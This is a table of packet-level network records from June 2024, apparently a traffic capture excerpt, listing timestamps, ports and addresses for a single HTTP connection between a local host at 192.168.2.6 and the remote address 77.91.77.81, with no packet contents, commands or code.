Jun 26, 2024 08:16:44.059798956 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059825897 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059832096 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059863091 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059884071 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059897900 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059927940 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059935093 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059962034 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059967995 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059987068 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060002089 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060028076 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060035944 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060060978 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060071945 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060096025 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060107946 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060133934 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060158968 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060163975 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060199022 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060210943 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060233116 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060267925 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060269117 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060269117 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060321093 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060353994 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060357094 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060383081 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060391903 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060401917 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060429096 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060436010 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060484886 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060503960 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060566902 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060595989 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060602903 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060610056 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060638905 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060651064 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060678959 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060694933 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060739994 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060750961 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060786963 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060816050 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060822964 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060847998 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060858965 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060874939 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060893059 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060923100 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060956001 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060971975 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.060985088 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.060985088 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061007023 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061041117 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061069012 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061075926 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061098099 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061114073 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061125040 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061156988 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061167002 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061183929 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061209917 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061244011 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061280966 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061314106 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061350107 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061358929 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061358929 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061384916 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061419964 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061453104 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061475992 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061475992 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061475992 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061475992 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061487913 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061499119 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061522007 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061526060 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061556101 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061592102 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061593056 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061599970 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061625957 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061654091 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061659098 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061686993 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061695099 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061705112 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061794043 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061808109 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061830044 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061849117 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061866045 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061891079 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061899900 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061912060 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061934948 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061947107 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.061970949 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.061980963 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.062005043 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.062016010 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.062040091 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.062072992 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.062076092 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.062114000 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.062119007 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.062119007 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.062149048 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.062185049 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.062213898 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.062311888 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.079555988 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.079590082 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.079606056 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.079631090 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.079653978 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.079670906 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.079673052 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.079687119 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.079696894 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.079705954 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.079729080 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.079775095 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.105947971 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.105968952 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.105984926 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.106009960 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.106026888 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.106034994 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.106045008 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.106062889 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.106082916 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.106097937 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.106133938 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.106466055 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.106520891 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.106530905 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.106538057 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.106554985 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.106565952 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.106592894 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.106595039 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.106610060 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.106625080 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.106648922 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.106652021 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.106693983 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.106759071 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.144587040 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.144630909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.144666910 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.144685984 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.144712925 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.144721985 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.144750118 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.144797087 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.144833088 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.144836903 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.144880056 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.144886971 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.144922018 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.144952059 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.144974947 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.144999981 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145054102 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145087957 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145090103 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145096064 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145128012 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145133972 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145164967 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145215988 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145219088 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145256042 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145291090 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145318985 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145327091 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145354986 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145364046 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145391941 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145401955 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145427942 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145436049 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145447969 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145474911 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145474911 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145504951 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145526886 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145551920 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145595074 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145629883 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145643950 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145684004 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145689964 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145720005 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145749092 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145776033 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145788908 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145811081 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145847082 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145870924 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145884037 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145899057 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145936966 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.145951033 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145982027 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.145992994 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146029949 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146043062 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146065950 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146080017 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146106005 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146112919 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146164894 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146166086 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146200895 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146207094 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146235943 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146249056 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146275997 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146282911 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146326065 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146330118 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146385908 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146425962 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146440029 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146445990 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146558046 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146570921 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146605968 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146634102 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146641970 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146656990 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146692991 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146732092 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146765947 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146785021 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146795034 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146833897 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146855116 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146902084 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146909952 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146945000 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.146954060 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.146980047 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147070885 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147099018 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147109032 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147140026 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147156954 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147156954 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147175074 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147243023 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147299051 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147327900 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147334099 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147363901 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147372007 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147407055 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147423029 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147423029 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147443056 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147444010 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147495985 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147524118 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147530079 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147535086 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147583008 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147614956 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147619963 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147669077 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147672892 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147707939 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147728920 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147744894 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147779942 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147780895 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147815943 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147830009 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147850037 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147871971 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147886992 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147897959 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147927046 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.147936106 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147973061 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.147986889 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148008108 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148016930 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148045063 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148056030 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148081064 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148085117 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148116112 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148134947 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148154020 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148171902 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148190022 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148207903 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148235083 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148241997 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148271084 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148278952 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148303986 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148313999 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148327112 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148328066 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148358107 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148366928 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148401976 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148402929 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148428917 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148436069 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148463011 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148472071 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148516893 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148516893 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148550987 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148586988 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148612976 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148622990 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.148649931 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.148699045 CEST	49731	80	192.168.2.6	77.91.77.81
